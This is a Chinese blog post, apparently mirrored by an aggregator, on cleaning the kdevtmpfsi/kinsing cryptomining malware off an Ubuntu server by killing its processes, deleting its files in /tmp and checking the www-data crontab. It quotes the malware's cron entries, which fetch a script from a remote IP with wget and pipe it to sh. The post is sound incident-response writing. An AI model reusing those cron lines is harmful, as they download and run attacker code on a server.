12

kdevtmpfsi病毒进程cpu占用高解决

 1 year ago
source link: https://viencoding.com/article/305
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

kdevtmpfsi病毒进程cpu占用高解决

2021-08-06 06:58:15   Ubuntu

最近服务器进程总被异常终止,查看资源占用,有个kdevtmpfsi的进程200%cpu占用率,查了一下是个挖矿病毒,记录一下解决方法

首先,用top命令看了看,就是这个玩意 ↓

kdevtmpfsi

直接kill是不行的,他还有守护进程,k掉还是会重启的,用它的进程号查一下master进程,这里是10469

systemctl status 10469
CGroup: /system.slice/php7.4-fpm.service
           ├─ 9097 php-fpm: pool www
           ├─ 9098 php-fpm: pool www
           ├─ 9172 php-fpm: pool www
           ├─10469 /tmp/kdevtmpfsi
           ├─29251 /tmp/kinsing
           └─29394 php-fpm: master process

把这些都杀掉

kill -9 29394 29251 10469

/tmp下的文件也删掉

rm -rf /tmp/kdevtmpfsi
rm -rf /tmp/kinsing

crontab

最后,还要看一下定时任务,不要直接看一下crontab -e没事就完了,因为他可能在别的用户下,再看上面的那个图

kdevtmpfsi

user是www-data,我们去/var/spool/cron/crontabs看一下

cd /var/spool/cron/crontabs

ls -al 一下,看到有www-data

-rw------- 1 root     crontab 1259 Aug  6 13:27 root
-rw------- 1 www-data crontab  679 Aug  1 14:30 www-data

看一下这个 www-data

cat www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Sun Aug  1 14:30:13 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

全部删掉,或者没有其他本来你自己的任务,就直接删掉文件

rm ./www-data

最后,再检查一下进程,以刚刚还没删除的防定时任务又开启了病毒进程,如果重新开启,再kill一遍就好了。

viencoding.com版权所有,允许转载,但转载请注明出处和原文链接: https://viencoding.com/article/305 欢迎小伙伴们在下方评论区留言 ~ O(∩_∩)O
文章对我有帮助, 点此请博主吃包辣条 ~ O(∩_∩)O


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK